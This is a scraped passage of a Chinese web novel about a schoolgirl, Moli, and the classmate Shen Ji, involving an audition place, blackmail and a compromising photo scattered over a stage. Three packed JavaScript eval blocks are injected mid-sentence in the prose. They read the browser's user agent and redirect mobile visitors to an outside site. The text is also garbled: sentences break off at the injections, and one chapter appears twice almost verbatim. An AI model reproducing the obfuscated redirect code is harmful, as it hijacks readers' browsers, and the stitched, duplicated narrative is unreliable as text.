十一点了,她不知道走了多久,好不容易才坚持到一个有信号,并且亮着灯的小车站,她的手机电量也只能支撑她控制30秒了。 电话震动起来,她颤抖着手拨通电话,眼泪在眼眶里打转:“喂,爸爸……” 她紧绷的神经忽的就崩溃下来,泪光挂在眼角,不住的酸涩。 “诶,女儿啊,终于接通了,我可打了好多电话呢。今晚我去你学校怎么没看到人呢,是跟同学出去玩了吗?” 她咬紧唇,眼泪终于忍不住滑落。 “是啊爸爸……我在江边,手机快没电了,你可不可以来接我……” 她最终还是说了谎, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“没事的,你看,我不活蹦乱跳的吗?” “你得给你爸爸好好报备一人,他可担心了,一晚上都在给我打电话,你说你真是的,发高烧还过生日。” “嗯……” “我要不要跟沈悸说一声,是他送你来医院的。” “不了。”茉莉淡淡拒绝,“我不想见他。” “你们俩闹矛盾了?” “……”茉莉默了默,“我本来也跟他不熟。” 一门之外,沈悸掐灭的手里的烟。 自打成年之后,他还是染上了这个曾经嫌弃的癖好。 烟头掉在地上,与那早已成堆的烟头混杂,又被踩灭,成了扁扁一条。 他独自开车回到那个不温暖,也并不属于他的家。 砰。 刚进书房,一个茶杯重重砸在头上,掉落在地上,成了一地碎片。 一夜未眠让他反应迟钝,连带着本就不好使的耳朵也直发耳鸣。 “沈悸,他是你哥哥!”反应过来后,他看见沈随天拍着桌子,盛怒地瞪着他,“你明知道他有心脏病还逼他喝酒?!” 眼镜也掉在地上,沈悸慢慢捡起,抚掉上面碎裂的玻璃片。偏偏有块玻璃锋利,划破了他的手指。 他收起眼镜,冷漠地看着沈随天暴怒的模样。 他早已习惯这样的疼痛,对他来说不痛不痒。 “所以呢?”他随手抽了一张纸,拭去手上的血液,“打够了吧,我走了。” 衣领立马被揪住,他被男人重重地撞在墙面上。 窒息感袭来,沈悸却面无表情地盯着他:“打死我,别留情。” “他一心为你好,现在他躺在医院,你就一点良心都没有?!” “良心?”似是听到什么好笑的话,沈悸嗤笑了一声,“从前你当街把我像垃圾一样丢出车外的时候,跟我谈过良心吗? “还有别的呢,我被那女人打的不成人形的时候,你在哪,我独自饿得头晕眼花的时候,你在哪? “收起你的说教,你根本没资格跟我谈良心。” “沈悸,我真是后悔把你带到这个家!” 他用力扯开沈随天,扯开嘴角:“是吗?反而我更像你,没有良心。”他步履稳重地走至门口,“没了我,就没人能成为你宝贝儿子的‘沈南风’了。” 又是一个茶杯砸去,只是这次,茶杯撞在了紧闭的门板上。 沈悸头也不回,门板震动的余音在空旷的走廊回荡。 他自嘲地笑。 可真是人见人嫌的狼狈。 24. 名额 一连休整了两天,茉莉回了学校。 她依旧会在学校看见沈悸。 不过,也只是看见。 某天早上,李青青刚巧来找她,说老师要她去办公室。 她还在疑惑是什么事,李青青兴致勃勃地把一张表格给她:“看,是首都艺术大学的表格!发下来了,老师应该是找你确定呢。” 是一张来自首都艺术大学主持专业招生的报名表。 “发下来了?” “是呀!”李青青笑的合不拢嘴,“走走走,肯定是你选上了。” 两人边走边说到了办公室,老师看见她们,便放下了手里的工作:“来了啊。” “老师好。”两人礼貌地打了招呼。 “这次找你俩来呢,主要也是为了这个选拔的事情。茉莉,上次临场发挥的事情老师看在眼里,非常勇敢优秀的举动。” 突然的赞许让茉莉脸颊红红,她忙低下头道:“谢谢老师。” “所以呢,老师希望,你能帮助李青青同学,她做事马虎,有你在身边督促,相比之下陪伴会让心态放松些,一定能让她再进一层。”老师温和地笑着,却没看见茉莉眼底那一闪即逝的僵硬。 李青青愣了愣:“老师……我没有报名。” “是的,但老师知道你非常想走艺体生,也十分喜欢主持,从你每周都报名晨会主持和广播主持就能看得出来,而且你经验丰富,不怯场,这都是茉莉所没有的特质。”老师顿了顿,转向茉莉,“所以,茉莉,我想让你把名额让给李青青。” “可是老师,我家里不是很同意我走艺体生……” “没关系,老师会去联系的,我不希望埋没任何一个有锋芒的学生。茉莉,你觉得呢?” 茉莉还在发愣,没听见回复,老师又喊了一声:“茉莉?” 她回过神,接着话应道:“哦……哦,好……那老师,我先走了。” “那就这么说了,李青青,表格你就在这填写吧……” 声音越离越远,茉莉低着头走出办公室,脚步顿在楼梯间,内心五味杂陈。 她不在乎这个什么招生选拔的,靠着自己的成绩也可以上大学。 应该是这样的,可不知道为什么,她不甘心,不服气。 凭什么自己名额可以随意被人涂改替换。 她能接受被其他报名的人筛下来,甚至能接受一开始就没有报名形式,直接被内定,但她不能接受被外人直接替代。 更何况,那还是自己的朋友。 她能怎么去说呢,直接撕破脸皮?她做不到。 因为她的确没有李青青经验足,不怯场。 可她,不想再当边缘人了。 她沮丧地想要回班,却看到了沈悸的影子。 沈悸似乎没看到她,直往教师办公室里走。 她狐疑地跟到门口,听到了沈悸也参加那个选拔。 她并没有感到奇怪,毕竟沈悸已经成了天之骄子,还是开学典礼的主持人,有他的名额也正常。 沈悸正往外走,她来不及走开,只能背过身去假装等人。 “沈哥,报好了吗?”是贺哲的声音。 “报好了,怎么,老头又给你发信息了监督我了?” “没有,对了,那姑娘代写的信你给付恒了没?” “扔了。”沈悸轻飘飘地丢出一句话。 “付恒那小子可是个不好惹的,你就不怕他找事?” “关我什么事,又找不到我头上来。”沈悸缓步走开,“走了。” 少年冰冷冷的话似还在耳边。 茉莉勾唇嘲讽自己当时的愚蠢。 本来就是,他那样的人,自己到底在抱着什么多余的期待。 还试图帮助他跟沈南风和好,她真的蠢到家了。 回到教室时已经时近上课,李青青在门口站着,为难地开口:“对不起啊茉莉,我不知道老师居然……” 茉莉故作轻松:“没事,你名副其实。”她拍拍李青青的肩膀,“加油啊,一定要通过。” 李青青还是苦着脸:“这个招生考核是有单人组和双人组的,不如我再去跟老师说说,看能不能改成双人组?” “有双人组?” “对,说是可以自行找搭档一起,搭档可以凑一杯羹拿到名额,老师说参加的名单会公布在网上,还有第一次考核的主题和往届精选的稿子,可以借微机室查。”李青青说着说着,就要往办公室再跑一趟,“我去问问。” 茉莉在原处思忖。 双人组吗? 如果有这个机会,她还真的不想跟李青青一组。 一次落败已经很不舒服了,她只想正面去对拼,证明自己不比任何人差。 内心深处,那种名叫阴暗的因素在不停狂放。 她自己都被吓了一个激灵,许久未有的感觉重新翻涌起来,肆虐侵袭大脑。 李青青是在预备铃时踩着红线来的,她写了张小纸条传来,展开,内容果然是否定的。 因为名额是老师争取来的,他们班是文化班,不同于有艺体生的班级,所以只能有一个人报名单人组。 茉莉攥紧纸条,随手扔进了桌洞。 那一刹那,她突然想到了沈悸。 只要她稍微示好一点,沈悸一定会给她这个名额。 可她不想靠沈悸赢,她只想踩着沈悸,一步步证明自己。 和沈悸组双人组是她最后的机会,但那林楚儿还是个不稳定因素,他们在一个班,势必会捆绑在一起。 她得找时间去微机室里查询一下。 一放学,她就直冲微机室,登录网页,翻到报名名额的那一页。 果然,林楚儿和沈悸的名字都在上面。 但因为报名期未过,分组没有明确的挂在上面,代表她还有机会去找沈悸。 她偷偷从网上打印了一份报名表下来作为计划二,防止沈悸已经绑定林楚儿。 她站在打印机前面计划着借口,纸张一点点露头,她刚伸手要拿,却被一只突然出现的手拿走。 还没回头,她就被人用力推到凳子上。 抬头一看,是那天被粥烫伤的男生,付恒。 茉莉突然就想到,付恒所在的十班就在这一楼层。 显然是早就看到她的行踪跟上来的。 付恒在刺头云集的十班也算是个难惹的,不是什么好被打发掉的人,听说经常在背后耍阴招坑人,家里又有点关系,一些曾惹过他的人被他用了手段 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15323451|165404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 送进了少管所。 心中警铃大作,茉莉小心地后退,问:“什么事。” 付恒脑袋上还包着布,嘴角一勾道:“什么事?你觉得什么事?”他看着那张表格,笑的奸邪,,“嗯?在伪造报名表啊。” “沈悸的事情,我跟你道歉……” “可是我记仇。”付恒收起笑容,“沈悸我暂时动不了他,可我能来找你,你觉得,是我把伪造报名表的事情捅出去,还是我把这段视频公开有趣?” 他手里拿着手机,放映了一段黑漆漆的视频。 视角明显是手持拍摄,晃晃荡荡,她却清晰地看到了自己的脸。 “……扒了吧,我来拍照。” 茉莉呼吸一滞。 随着镜头一黑,再一转,是黄毛的声音。 “……老子录下来,明天就放在你学校里!” 再度一黑,随着闷响,黄毛的声音止住,沈悸的身影出现在了屏幕里,角落,有人拍下了他举着玻璃瓶砸晕黄毛的全过程。 视频戛然而止,黑掉的屏幕反射出茉莉阴沉的脸色。 “你从哪里弄来的。” “这个啊,你就别管了。听说,沈悸之前跟一个坠楼案有染,我这一好奇就去查了查,没想到啊……”付恒一顿,收起了手机,“所以,你选好了吗?” 茉莉摁捺住情绪:“……有第三个选择吗?” 付恒嗤笑一声:“有啊,当然那有。” 他上下打量茉莉的脸,啧啧道:“果然漂亮。” “不是想要名额吗,周五晚到盛世KTV陪我一晚上,我给你名额如何?” 她面前其实没摆着任何选项。 似乎像是高位者的玩具,无论上位者如何惹祸,糟糕的都是位于下位的她。 她脸色苍白:“这样就可以了吗?” 付恒笑的猖狂:“是的,见不到人就别谈其他的。”说完,他摆摆手离去,不忘丢下一句,“搞好看点,别毁了小爷的面儿。” 原地剩下茉莉一人。 天上飘荡的阴云正好意寓了她此刻的心境。 她掏出一根削的尖锐的铅笔,一声不吭地走到十班门口,恰时听到了付恒的笑声。 “不能不给面吧,我出院办的席呢,沈悸不来不太合适吧。” “所以呢,没揍你都算是给你面儿了。” “胡振。”贺哲出声止住胡振,“知道了,我会告诉沈哥的。” 她捂住嘴,跑到一个空旷无人的地方,忍不住大笑出声。 原来如此,想着拿她羞辱沈悸吗。 为什么所有人都能在她头上随意踩踏呢。 哪怕是沈悸也是,从欺辱,到现在好像在施舍她片刻温柔一样。 她需要吗,一点都不,因为逼她成为现在这样境遇的,全是因为他。 因为他,惹上何婧,因为他,被放到郊外苦走十多公里,现在又被胁迫,成为另一人所有把玩的物什。 笑够了,她抿直了唇,扔掉了手里的铅笔。 她不甘心。 她要为自己活着,为自己谋划未来。 谁都不能阻止她。 她也不需要脏掉自己的手。 把所有亏欠她的,全都拿回来。 25. 恶鬼 茉莉盯着电脑屏幕上自己的名字,嘴角勾起一抹微不可察的笑意。 她成功了。 周五的事情被沈悸一手压了下来,付恒以旧伤未愈休了学,而自己,也成功借着沈悸拿到了招生名额。 那个手机被沈悸拿走,他表示会去查底片在哪,彻底销毁掉。 她赢了,无关手段,赌的是沈悸的在乎。 接下来,她只要好好准备稿件参加招生考核就行。 她特地把这个好消息告诉了茉双季,茉双季虽然忙的接不着电话,但在短信中却能看出他十分骄傲自豪。 从微机室里下到班级门口,她的脚步微顿,与那个等候已久的少女对上视线。 林楚儿看着她,率先开口:“你好,茉莉,我有事找你。” 语气算是礼貌,但不难听出话里的戒备。 “什么事?” “我就直说了——如果你是抱着什么目的接近沈悸或付恒,我劝你少动那些心眼。” 茉莉敏锐地察觉到她的敌意,于是道:“你是觉得我会抢沈悸?” “周五的事情我不必多说,我不知道你用了什么手段把沈悸喊来,但付恒是我名义上的哥哥,我不希望他们之间再因为你产生什么矛盾。”林楚儿顿了顿,“还有,对你的问话,我否认,我只想告诉你,他并非表面上看起来那样。” 这句话终于解释通了为什么能在盛世里看到林楚儿。茉莉想到了付恒对林楚儿的称呼,是妹妹。 原来,他们是非血缘关系上的兄妹。 至于为什么不同姓,大概,也是和沈悸那样的缘由吧。 不过,茉莉并不讨厌这个直来直往的女孩,反而对她最后那隐藏很深的劝告感到惊讶。 她当然知道沈悸是什么模样,只是没想到的是,林楚儿会让她不要被蒙蔽。 她缓和了语气,问:“你想说的,就是让我远离他们?” “除了这个,我还想跟你打个赌。” “什么?” “如果我在单人组的评分比你高,那就把和沈悸组双人的名额给我。” 还是冲着沈悸来的,但她能听出,林楚儿并非特别喜欢沈悸。 听起来,还有些被迫的成分。 她干脆不演了,坦诚地说:“实话告诉你吧,我并没有想要报双人组。” 林楚儿有些错愕:“你……” “对,就是你想的那样,我只是利用他获得这个入场券,所以,你大可不必担忧,我只想远离他,仅此而已。”倾数吐露完毕,茉莉回问一句,“你还有什么想说的吗?” 这话太过直白决绝,林楚儿还没缓神,讷讷地说:“没有了。” “最后确认的环节中,我会填写单人组。”茉莉绕过她,最后说了一句。 她大步离开,心里一丝负担也没有。 因为撰稿需要借用图书室和微机室查阅资料,茉莉总能不时撞见沈悸。 他还被蒙在鼓里,总拿着自己查阅到的资料来找她分享。 茉莉全盘接受,继续欺瞒他。 这样也好,省了她去扒稿子的时间。 李青青知道她有了名额的时候满脸惊讶,根本想象不到她是怎么获得名额的。 直到沈悸经常出没在二班班级门口,她才明白了什么。 开始有些八卦的女生谈论茉莉和沈悸,但茉莉一点也不想关心,重心全放在了考核上。 她只想证明,只靠自己,即使毫无经验,她也能赢的漂亮。 花了半月时间准备,她写完了第一轮次的稿子,准备在午休时给老师批阅一下,顺便问问建议。 但刚出班级,她就看见了在门口等待的沈悸。 少年靠在墙角,手里提着零食袋,眼睛眨也不眨地看着她,“要对下稿子吗?” “我得去给老师看一眼,总觉得还缺点什么。”她丝毫不心虚地编谎,语气诚恳到连自己都差点要信了。 “茉莉!”李青青从后走来,手里也拿着稿子,“走,我们一起去办公室。” 沈悸淡淡地瞥了眼茉莉手里写的密集的稿子,似有话要说,最终却又凝成了一字“好”。 “那我先去了。”茉莉笑着。 沈悸:“嗯,今天最后一天确认了,可别写错了。” 听罢,茉莉迅速收起笑容,和李青青往办公室里走。 怎么可能呢。 她怎么可能会出错。 她从来,就没有想过要跟沈悸一组。 李青青似是听到了他们先前的对话,问:“你们不是双人组吗,为什么稿件写成两组?” “怕出什么幺蛾子,提前再准备一版。” “是哦,我怎么没想到呢……我就怕稿件重复呢,回头我再去写一版。” 稿子顺利通过,老师赞不绝口。 在最后的确认环节,茉莉毫不犹豫在“单人组”上划了勾。 而这一举动,被一旁窥视的贺哲尽收眼底。 他揣着口袋走到门口,用手机发了条短信。 “她写的是单人组。” 一班末座,正在闲闲转笔的少年停了手,水笔掉落在桌面上,滚了一圈又一圈。 最后,掉在了地上。 林楚儿瞥到他掌心的屏幕,悠悠收回视线:“所以,你该清醒一点了吗?” “清醒什么?”他恍然未闻,一遍遍复看那行字,觉得应该是看错了。 刚开始听林楚儿说的时候,他还在质疑。 她骗了他。 连最后一层台阶都要拆掉。 “她亲口说的,她只想利用你,然后离开你。”林楚儿讥讽的笑了一声,“原来你也没我想象的那么聪明。” 他确实变得很奇怪,一跟她有关,整个脑子都像坏掉了一样。 为什么,他怎么也弄不懂为什么。 是他过去的坏还没被忘掉吗? 看着看着,他突然很想笑。 好啊。 非要他活成一个疯子。 做给她看就是了。 - 考核前几天,学校里出了件两件大事。 第一件是教师办公室遭窃了,但没丢什么名贵物品,丢的只是一些试卷和作业。 第二件,是学校调查出作案人是一个十班的混子,本人认的很干脆,反而直接借此转学去了职高,对他来说不痛不痒,甚至转学了还过得自在。 事情不到三天就解决了,肇事者表示是因为即将小考,要是成绩差了就得被家人盘,所以才偷试卷的。 有些蹊跷,不过因考核在即,也没影响到自己,茉莉也就把此事抛之脑后。 学校因为十分重视这次考核,于是每周五放学都组织参赛同学去多媒体教室排练,这倒是给了舞台恐惧症的茉莉一个克服恐惧的机会。 从一上台就紧张观众的视线读的磕磕绊绊,到能够把台下人当萝卜青菜娴熟诵读,她花了比常人更多的努力。 她还报名了学校的电台主持人,每日午休后都去广播室,用来督促自己练习诵读的语调和吐字。 时间来到第一轮考核那天,寝室里的三个姐妹陪着茉莉一起到了考核现场。 考试地点在一处剧院,剧院里外都聚满了竞赛的选手,甚至还有些能在杂志上看到的小明星前来,这让茉莉很是压力山大。 考核通道和观众通道在两边,临别时,宋长乐和刘曦将她和李青青团团围住。 刘曦特地给她泡了一杯自家种的茶叶塞在她俩的包里,说是要她提神,宋长乐则是泪眼朦胧地拉着她和李青青的手鼓劲,不停念叨:“可一定别紧张,加油啊!” 茉莉笑着点头:“肯定顺利的!” 李青青也附和:“对,一定顺利!” 她可是努力了很久,只是第一轮考核而已,她有十足的信心可以通过。 跟姐妹们分别,茉莉和李青青进了选手准备室。 她刻意环视了一圈,没发现沈悸的身影后,捡了个靠门的位置和李青青坐下。 准备室里挤满了选手,诵读声此起彼伏,大家都在争分夺秒的练习。 氛围顿时从轻松变得紧张,受到环境的感染,茉莉立马翻出自己的稿子开始练习。 第一考核的题目是固定的,大家围绕着一个主题自由编撰内容,主办方还特地留了以往的精选稿件放在网上供人查阅。 这样虽然把难度范围拉到最小,但容易内容重复。 边上有人担忧起了这个问题,茉莉也跟着紧张起来。 李青青抓着她的手:“咋整,虽然跟你一样准备了两个稿子,但我还是怕重啊。” “没事没事,我们偷偷听一下。”她安抚着李青青。 她其实就一份稿子,也担忧的不行。有心留意了下周围人的诵读,还好,没人跟她内容重复,她暗暗放心,把声音放低,小声默念自己的稿子。 时间一分一秒的过去,工作人员走进了准备室喊了一声:“开始准备上场了,注意大屏幕,有你们上场的排号。” 茉莉登时紧张了起来,攥着稿子看向了准备室的电视屏幕。 还好,她在尾号。 但是,她看到了一个显目的名字挂在她的上方。 沈悸-单人组。 而李青青和林楚儿在前面的号码,同样也是单人组。 李青青看了眼,疑惑道:“你不是跟沈悸组合了吗,怎么都变单人组了?” 茉莉早就拟好了借口:“忘记跟你说了,我跟沈悸在稿件上有争议,就拆伙了。” “哦……看着沈悸那样,确实也像个完美主义者。”李青青点点头,没有质疑,“好了,我第二号出,先去侧台准备了,之后外面见。” 李青青比了个加油的手势,茉莉也朝她比了一个,目送她离去。 加油,她一定会证明自己不比有经验的李青青差。 她低头,注意力重回稿件。 余光边缘,有人推开了准备室的门走了进来。 准备室里所有人的目光都随之看了过去。 她知道那是谁,努力不去看,但那人却像是觉得火烧的不够旺,又添了把柴,故作熟识地朝她打招呼:“你在这啊,我刚在外面找你呢。” 明显是知道了自己报单人组的事情,故意引火上身。 这时,场内的人才注意到角落埋头的茉莉。 有人忍不住叹了句:“我丢,这些人怎么长的。” “你不认识那两?一个林家千金,一个沈家少爷啊。” “那角落的呢,我看着也好看。” “不知道啊。” 话题被引到身上,她只能敷衍地应了声:“嗯,来得早。” 林楚儿在一旁冷冷淡淡地看着,因为号码比较靠前,她便道了句“我去侧台准备”于是离开。 沈悸自然地坐在了茉莉的身边,隔着泛光的镜片漫不经心地扫过她的稿子:“写的不错。” 茉莉挪开距离:“嗯。” 沈悸窃窃地笑:“觉得我今天穿的怎么样?” 很奇怪,他只字没提她报单人组的事情,反而提些莫名其妙的话题。 反正也已摊牌,他不可能当着所有参赛选手的面把自己踢出,于是为了让他尽早闭嘴,她随意一扫,评论说:“人样。” 沈悸穿的十分正式,一袭黑色西装显得十分成熟稳重,加之人长得俊秀,更加像谦谦公子。 不知是他脑子坏了还是怎么,他满意的点点头:“确实,我也觉得。”他说了句莫名其妙的话,“穿的贵,就能显得贵。” 不知道是不是因为沈悸坐在身边, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她没来得及去逼问,工作人员便从帘后催促她上台。 沈悸噙着和煦的笑,从口袋拿出耳机挂在左耳,款款地从她身边经过。 “……” 他说了些什么。 时间来不及让她消化那些话,茉莉被迫站在了台上。 台下是乌央乌央的黑色,沉闷的,压抑的成了一片。 所有人的眼睛似乎聚成了一个长满眼球的肉瘤,直勾勾地盯着她看。 手是冰的,心是空的,她一句话都说不出来,写满字的稿子也成了一片空白。 场内逐渐响起了疑惑。 不行。她紧紧攥成拳,用力地反抗那无形压迫她的手。 不过就是稿子被剽窃,她即兴发挥就是了。 她可是因为即兴救场才获得了这么个机会,只是再一次临场发挥而已,只是字数变多了而已。 看了那么多学了那么多,努力了那么久,好不容易能站上台,她怎么可能要因为那种肮脏龌龊的手段在此止步。 她深吸一口气,当着所有人的面——撕掉了手里的稿子。 你想看我坠落的丑态? 不可能,沈悸。 你看好了,我不可能被你摁在掌心之下。 场下一片哗然。 她组织着语言,开口道:“不好意思,因为发现稿件大同小异,我临时起意,想即兴发挥。” “今天的主题是“畅想未来”,我想说,未来是一个很难以估摸的东西,谁也说不准明天究竟是悲是喜……” “有人跟我说,每个人未来已经成了定然,但我想说,去他的定然,我要活成我自己,哪怕我今天说要躺平,明天就说我要成亿万富翁,只要自己相信自己,指不定明天的期望会成真呢。” 台下的评委老师怔愕地看着这个大胆发言的姑娘,但依旧有观众忍俊不禁地笑出声。 台下的观众的反应激励了茉莉,她愈发感到轻松,出口成章,硬生生把干涩古板的诵读考试变成了有和有应的演讲会。 暗处,窥视者赞叹地鼓了鼓掌。 不错。 他就是想看到开的这样烂漫的花。 这样,他有兴致继续游戏,继续当个疯子。 用力地,将花瓣撵碎在掌心。 台上的少女富有活力的演讲着,但还不够热闹。 他摁下了摁扭。 舞台顶的开口打开,须臾间,一堆白底的纸片从上飘浮而下,在聚光灯的照耀下,像霜月之下一只只翻飞的蝴蝶。 茉莉被突然的动静吓了一跳,反应过来时,她还在想是不是后台工作人员失误错摁到什么。 直到——那白色的“蝴蝶”飘落在她覆于桌面的手背上。 是一张照片。 脸部被人特意截掉,可她还是一眼就认了出来。 一张,被人恶意截图,满身淋湿的,衣不蔽体的,关于她的照片。 白色的纸片飞舞到了台下,观众们疑惑着,纷纷低头捡起那些纸片—— 全身的血液都凝固住了,牙齿也止不住地咯咯发抖,呼吸断断续续,差点就要窒息晕厥。 她似乎被什么强行夺舍,全身发硬,怎么都动不了。 脑袋里不停回响着沈悸的话。 “穿的贵,就能显得贵” 伥鬼试图披着人皮混入其中,却掩不住身上的腐败腥臭。 “我给过你机会的。” “希望你喜欢这个——来自疯子送给你的小礼物。” 暗暗的,低低的。 像是来自恶鬼的呢喃。 26. 恶鬼 茉莉盯着电脑屏幕上自己的名字,嘴角勾起一抹微不可察的笑意。 她成功了。 周五的事情被沈悸一手压了下来,付恒以旧伤未愈休了学,而自己,也成功借着沈悸拿到了招生名额。 那个手机被沈悸拿走,他表示会去查底片在哪,彻底销毁掉。 她赢了,无关手段,赌的是沈悸的在乎。 接下来,她只要好好准备稿件参加招生考核就行。 她特地把这个好消息告诉了茉双季,茉双季虽然忙的接不着电话,但在短信中却能看出他十分骄傲自豪。 从微机室里下到班级门口,她的脚步微顿,与那个等候已久的少女对上视线。 林楚儿看着她,率先开口:“你好,茉莉,我有事找你。” 语气算是礼貌,但不难听出话里的戒备。 “什么事?” “我就直说了——如果你是抱着什么目的接近沈悸或付恒,我劝你少动那些心眼。” 茉莉敏锐地察觉到她的敌意,于是道:“你是觉得我会抢沈悸?” “周五的事情我不必多说,我不知道你用了什么手段把沈悸喊来,但付恒是我名义上的哥哥,我不希望他们之间再因为你产生什么矛盾。”林楚儿顿了顿,“还有,对你的问话,我否认,我只想告诉你,他并非表面上看起来那样。” 这句话终于解释通了为什么能在盛世里看到林楚儿。茉莉想到了付恒对林楚儿的称呼,是妹妹。 原来,他们是非血缘关系上的兄妹。 至于为什么不同姓,大概,也是和沈悸那样的缘由吧。 不过,茉莉并不讨厌这个直来直往的女孩,反而对她最后那隐藏很深的劝告感到惊讶。 她当然知道沈悸是什么模样,只是没想到的是,林楚儿会让她不要被蒙蔽。 她缓和了语气,问:“你想说的,就是让我远离他们?” “除了这个,我还想跟你打个赌。” “什么?” “如果我在单人组的评分比你高,那就把和沈悸组双人的名额给我。” 还是冲着沈悸来的,但她能听出,林楚儿并非特别喜欢沈悸。 听起来,还有些被迫的成分。 她干脆不演了,坦诚地说:“实话告诉你吧,我并没有想要报双人组。” 林楚儿有些错愕:“你……” “对,就是你想的那样,我只是利用他获得这个入场券,所以,你大可不必担忧,我只想远离他,仅此而已。”倾数吐露完毕,茉莉回问一句,“你还有什么想说的吗?” 这话太过直白决绝,林楚儿还没缓神,讷讷地说:“没有了。” “最后确认的环节中,我会填写单人组。”茉莉绕过她,最后说了一句。 她大步离开,心里一丝负担也没有。 因为撰稿需要借用图书室和微机室查阅资料,茉莉总能不时撞见沈悸。 他还被蒙在鼓里,总拿着自己查阅到的资料来找她分享。 茉莉全盘接受,继续欺瞒他。 这样也好,省了她去扒稿子的时间。 李青青知道她有了名额的时候满脸惊讶,根本想象不到她是怎么获得名额的。 直到沈悸经常出没在二班班级门口,她才明白了什么。 开始有些八卦的女生谈论茉莉和沈悸,但茉莉一点也不想关心,重心全放在了考核上。 她只想证明,只靠自己,即使毫无经验,她也能赢的漂亮。 花了半月时间准备,她写完了第一轮次的稿子,准备在午休时给老师批阅一下,顺便问问建议。 但刚出班级,她就看见了在门口等待的沈悸。 少年靠在墙角,手里提着零食袋,眼睛眨也不眨地看着她,“要对下稿子吗?” “我得去给老师看一眼,总觉得还缺点什么。”她丝毫不心虚地编谎,语气诚恳到连自己都差点要信了。 “茉莉!”李青青从后走来,手里也拿着稿子,“走,我们一起去办公室。” 沈悸淡淡地瞥了眼茉莉手里写的密集的稿子,似有话要说,最终却又凝成了一字“好”。 “那我先去了。”茉莉笑着。 沈悸:“嗯,今天最后一天确认了,可别写错了。” 听罢,茉莉迅速收起笑容,和李青青往办公室里走。 怎么可能呢。 她怎么可能会出错。 她从来,就没有想过要跟沈悸一组。 李青青似是听到了他们先前的对话,问:“你们不是双人组吗,为什么稿件写成两组?” “怕出什么幺蛾子,提前再准备一版。” “是哦,我怎么没想到呢……我就怕稿件重复呢,回头我再去写一版。” 稿子顺利通过,老师赞不绝口。 在最后的确认环节,茉莉毫不犹豫在“单人组”上划了勾。 而这一举动,被一旁窥视的贺哲尽收眼底。 他揣着口袋走到门口,用手机发了条短信。 “她写的是单人组。” 一班末座,正在闲闲转笔的少年停了手,水笔掉落在桌面上,滚了一圈又一圈。 最后,掉在了地上。 林楚儿瞥到他掌心的屏幕,悠悠收回视线:“所以,你该清醒一点了吗?” “清醒什么?”他恍然未闻,一遍遍复看那行字,觉得应该是看错了。 刚开始听林楚儿说的时候,他还在质疑。 她骗了他。 连最后一层台阶都要拆掉。 “她亲口说的,她只想利用你,然后离开你。”林楚儿讥讽的笑了一声,“原来你也没我想象的那么聪明。” 他确实变得很奇怪,一跟她有关,整个脑子都像坏掉了一样。 为什么,他怎么也弄不懂为什么。 是他过去的坏还没被忘掉吗? 看着看着,他突然很想笑。 好啊。 非要他活成一个疯子。 做给她看就是了。 - 考核前几天,学校里出了件两件大事。 第一件是教师办公室遭窃了,但没丢什么名贵物品,丢的只是一些试卷和作业。 第二件,是学校调查出作案人是一个十班的混子,本人认的很干脆,反而直接借此转学去了职高,对他来说不痛不痒,甚至转学了还过得自在。 事情不到三天就解决了,肇事者表示是因为即将小考,要是成绩差了就得被家人盘,所以才偷试卷的。 有些蹊跷,不过因考核在即,也没影响到自己,茉莉也就把此事抛之脑后。 学校因为十分重视这次考核,于是每周五放学都组织参赛同学去多媒体教室排练,这倒是给了舞台恐惧症的茉莉一个克服恐惧的机会。 从一上台就紧张观众的视线读的磕磕绊绊,到能够把台下人当萝卜青菜娴熟诵读,她花了比常人更多的努力。 她还报名了学校的电台主持人,每日午休后都去广播室,用来督促自己练习诵读的语调和吐字。 时间来到第一轮考核那天,寝室里的三个姐妹陪着茉莉一起到了考核现场。 考试地点在一处剧院,剧院里外都聚满了竞赛的选手,甚至还有些能在杂志上看到的小明星前来,这让茉莉很是压力山大。 考核通道和观众通道在两边,临别时,宋长乐和刘曦将她和李青青团团围住。 刘曦特地给她泡了一杯自家种的茶叶塞在她俩的包里,说是要她提神,宋长乐则是泪眼朦胧地拉着她和李青青的手鼓劲,不停念叨:“可一定别紧张,加油啊!” 茉莉笑着点头:“肯定顺利的!” 李青青也附和:“对,一定顺利!” 她可是努力了很久,只是第一轮考核而已,她有十足的信心可以通过。 跟姐妹们分别,茉莉和李青青进了选手准备室。 她刻意环视了一圈,没发现沈悸的身影后,捡了个靠门的位置和李青青坐下。 准备室里挤满了选手,诵读声此起彼伏,大家都在争分夺秒的练习。 氛围顿时从轻松变得紧张,受到环境的感染,茉莉立马翻出自己的稿子开始练习。 第一考核的题目是固定的,大家围绕着一个主题自由编撰内容,主办方还特地留了以往的精选稿件放在网上供人查阅。 这样虽然把难度范围拉到最小,但容易内容重复。 边上有人担忧起了这个问题,茉莉也跟着紧张起来。 李青青抓着她的手:“咋整,虽然跟你一样准备了两个稿子,但我还是怕重啊。” “没事没事,我们偷偷听一下。”她安抚着李青青。 她其实就一份稿子,也担忧的不行。有心留意了下周围人的诵读,还好,没人跟她内容重复,她暗暗放心,把声音放低,小声默念自己的稿子。 时间一分一秒的过去,工作人员走进了准备室喊了一声:“开始准备上场了,注意大屏幕,有你们上场的排号。” 茉莉登时紧张了起来,攥着稿子看向了准备室的电视屏幕。 还好,她在尾号。 但是,她看到了一个显目的名字挂在她的上方。 沈悸-单人组。 